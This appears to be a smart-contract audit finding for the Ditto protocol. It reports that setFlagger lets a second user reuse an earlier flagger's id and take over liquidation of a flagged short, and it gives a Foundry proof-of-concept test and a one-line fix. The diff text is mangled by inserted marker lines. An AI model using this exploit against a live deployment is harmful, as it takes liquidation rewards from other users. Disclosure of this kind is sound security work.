Flag can be overriden by another user
The `setFlagger` function allows a new flagger to reuse `flaggerHint` flag id after `LibAsset.firstLiquidationTime` has passed after flagId has been updated.\\n```\\n    function setFlagger(\\n        STypes.ShortRecord storage short,\\n        address cusd,\\n        uint16 flaggerHint\\n    ) internal {\\n\\n           if (flagStorage.g_flaggerId == 0) {\\n            address flaggerToReplace = s.flagMapping[flaggerHint];\\n\\n            // @audit if timeDiff > firstLiquidationTime, replace the flagger address\\n\\n            uint256 timeDiff = flaggerToReplace != address(0)\\n                ? LibOrders.getOffsetTimeHours()\\n                    - s.assetUser[cusd][flaggerToReplace].g_updatedAt\\n                : 0;\\n            //@dev re-use an inactive flaggerId\\n            if (timeDiff > LibAsset.firstLiquidationTime(cusd)) {\\n                delete s.assetUser[cusd][flaggerToReplace].g_flaggerId;\\n                short.flaggerId = flagStorage.g_flaggerId = flaggerHint;\\n\\n            // more code\\n\\n            s.flagMapping[short.flaggerId] = msg.sender;\\n```\\n\\nhttps://github.com/Cyfrin/2023-09-ditto/blob/a93b4276420a092913f43169a353a6198d3c21b9/contracts/libraries/LibShortRecord.sol#L377-L404C13\\nSince the previous flagger can only liquidate the flagged short after `LibAsset.firstLiquidationTime` has passed, the flagged short will be unliquidated till that time. Both the ability to flag the short for first flagger and the ability to replace the first flagger starts at the same instant. This allows a new flagger to take control over the liquidation of the flagged short by finding some other liquidatable short and passing in the flagId of the previous flagger as the `flagHint`.\\nPOC Test\\n```\\ndiff --git a/test/MarginCallFlagShort.t.sol b/test/MarginCallFlagShort.t.sol\\nindex 906657e..3d7f985 100644\\n--- a/test/MarginCallFlagShort.t.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/test/MarginCallFlagShort.t.sol\\n@@ -169,6 // Add the line below\\n169,90 @@ contract MarginCallFlagShortTest is MarginCallHelper {\\n         assertEq(diamond.getFlagger(shortRecord.flaggerId), extra);\\n     }\\n \\n// Add the line below\\n    function test_FlaggerId_Override_Before_Call() public {\\n// Add the line below\\n        address flagger1 = address(77);\\n// Add the line below\\n        address flagger2 = address(78);\\n// Add the line below\\n\\n// Add the line below\\n        vm.label(flagger1, "flagger1");\\n// Add the line below\\n        vm.label(flagger2, "flagger2");\\n// Add the line below\\n\\n// Add the line below\\n        //create first short\\n// Add the line below\\n        fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);\\n// Add the line below\\n        fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);\\n// Add the line below\\n        STypes.ShortRecord memory shortRecord1 =\\n// Add the line below\\n            diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);\\n// Add the line below\\n\\n// Add the line below\\n        assertEq(diamond.getFlaggerIdCounter(), 1);\\n// Add the line below\\n        assertEq(shortRecord1.flaggerId, 0);\\n// Add the line below\\n        assertEq(diamond.getFlagger(shortRecord1.flaggerId), address(0));\\n// Add the line below\\n\\n// Add the line below\\n        //flag first short\\n// Add the line below\\n        setETH(2500 ether);\\n// Add the line below\\n        vm.prank(flagger1);\\n// Add the line below\\n        diamond.flagShort(asset, sender, shortRecord1.id, Constants.HEAD);\\n// Add the line below\\n        shortRecord1 = diamond.getShortRecord(asset, sender, shortRecord1.id);\\n// Add the line below\\n\\n// Add the line below\\n        assertEq(diamond.getFlaggerIdCounter(), 2);\\n// Add the line below\\n        assertEq(shortRecord1.flaggerId, 1);\\n// Add the line below\\n        assertEq(diamond.getFlagger(shortRecord1.flaggerId), flagger1);\\n// Add the line below\\n\\n// Add the line below\\n        skip(TEN_HRS_PLUS);\\n// Add the line below\\n        setETH(2500 ether);\\n// Add the line below\\n\\n// Add the line below\\n        //attempting direct liquidation by flagger2 fails since only allowed to flagger1\\n// Add the line below\\n\\n// Add the line below\\n        //add ask order to liquidate against\\n// Add the line below\\n        fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);\\n// Add the line below\\n\\n// Add the line below\\n        uint16[] memory shortHintArray = setShortHintArray();\\n// Add the line below\\n        vm.prank(flagger2);\\n// Add the line below\\n        vm.expectRevert(Errors.MarginCallIneligibleWindow.selector);\\n// Add the line below\\n        diamond.liquidate(asset, sender, shortRecord1.id, shortHintArray);\\n// Add the line below\\n\\n// Add the line below\\n        //cancel the previously created ask order\\n// Add the line below\\n        fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);\\n// Add the line below\\n\\n// Add the line below\\n        //reset\\n// Add the line below\\n        setETH(4000 ether);\\n// Add the line below\\n\\n// Add the line below\\n        //create another short\\n// Add the line below\\n        fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);\\n// Add the line below\\n        fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);\\n// Add the line below\\n        STypes.ShortRecord memory shortRecord2 =\\n// Add the line below\\n            diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID // Add the line below\\n 1);\\n// Add the line below\\n\\n// Add the line below\\n        assertEq(diamond.getFlaggerIdCounter(), 2);\\n// Add the line below\\n        assertEq(shortRecord2.flaggerId, 0);\\n// Add the line below\\n        assertEq(diamond.getFlagger(shortRecord2.flaggerId), address(0));\\n// Add the line below\\n\\n// Add the line below\\n        //flag second short by providing flagger id of flagger1. this resets the flagger id\\n// Add the line below\\n        setETH(2500 ether);\\n// Add the line below\\n        vm.prank(flagger2);\\n// Add the line below\\n        diamond.flagShort(\\n// Add the line below\\n            asset, sender, Constants.SHORT_STARTING_ID // Add the line below\\n 1, uint16(shortRecord1.flaggerId)\\n// Add the line below\\n        );\\n// Add the line below\\n        shortRecord2 =\\n// Add the line below\\n            diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID // Add the line below\\n 1);\\n// Add the line below\\n\\n// Add the line below\\n        //flagger1 has been replaced\\n// Add the line below\\n        assertEq(diamond.getFlaggerIdCounter(), 2);\\n// Add the line below\\n        assertEq(shortRecord2.flaggerId, 1);\\n// Add the line below\\n        assertEq(diamond.getFlagger(shortRecord2.flaggerId), flagger2);\\n// Add the line below\\n        assertEq(diamond.getFlagger(shortRecord1.flaggerId), flagger2);\\n// Add the line below\\n\\n// Add the line below\\n        //ask to liquidate against\\n// Add the line below\\n        fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);\\n// Add the line below\\n\\n// Add the line below\\n        //now flagger1 cannot liquidate shortRecord1\\n// Add the line below\\n        vm.prank(flagger1);\\n// Add the line below\\n        vm.expectRevert(Errors.MarginCallIneligibleWindow.selector);\\n// Add the line below\\n        diamond.liquidate(asset, sender, shortRecord1.id, shortHintArray);\\n// Add the line below\\n\\n// Add the line below\\n        //but flagger1 can\\n// Add the line below\\n        vm.prank(flagger2);\\n// Add the line below\\n        diamond.liquidate(asset, sender, shortRecord1.id, shortHintArray);\\n// Add the line below\\n    }\\n// Add the line below\\n\\n     function test_FlagShort_FlaggerId_Recycling_AfterIncreaseCollateral() public {\\n         createAndFlagShort();\\n \\n```\\n
Update the check to `secondLiquidationTime`\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/contracts/libraries/LibShortRecord.sol b/contracts/libraries/LibShortRecord.sol\\nindex 7c5ecc3..c8736b0 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/contracts/libraries/LibShortRecord.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/contracts/libraries/LibShortRecord.sol\\n@@ // Remove the line below\\n391,7 // Add the line below\\n391,7 @@ library LibShortRecord {\\n                     // Remove the line below\\n s.assetUser[cusd][flaggerToReplace].g_updatedAt\\n                 : 0;\\n             //@dev re// Remove the line below\\nuse an inactive flaggerId\\n// Remove the line below\\n            if (timeDiff > LibAsset.firstLiquidationTime(cusd)) {\\n// Add the line below\\n            if (timeDiff > LibAsset.secondLiquidationTime(cusd)) {\\n                 delete s.assetUser[cusd][flaggerToReplace].g_flaggerId;\\n                 short.flaggerId = flagStorage.g_flaggerId = flaggerHint;\\n             } else if (s.flaggerIdCounter < type(uint16).max) {\\n```\\n
First flagger will be in loss of the spent gas and expected reward.
```\\n    function setFlagger(\\n        STypes.ShortRecord storage short,\\n        address cusd,\\n        uint16 flaggerHint\\n    ) internal {\\n\\n           if (flagStorage.g_flaggerId == 0) {\\n            address flaggerToReplace = s.flagMapping[flaggerHint];\\n\\n            // @audit if timeDiff > firstLiquidationTime, replace the flagger address\\n\\n            uint256 timeDiff = flaggerToReplace != address(0)\\n                ? LibOrders.getOffsetTimeHours()\\n                    - s.assetUser[cusd][flaggerToReplace].g_updatedAt\\n                : 0;\\n            //@dev re-use an inactive flaggerId\\n            if (timeDiff > LibAsset.firstLiquidationTime(cusd)) {\\n                delete s.assetUser[cusd][flaggerToReplace].g_flaggerId;\\n                short.flaggerId = flagStorage.g_flaggerId = flaggerHint;\\n\\n            // more code\\n\\n            s.flagMapping[short.flaggerId] = msg.sender;\\n```\\n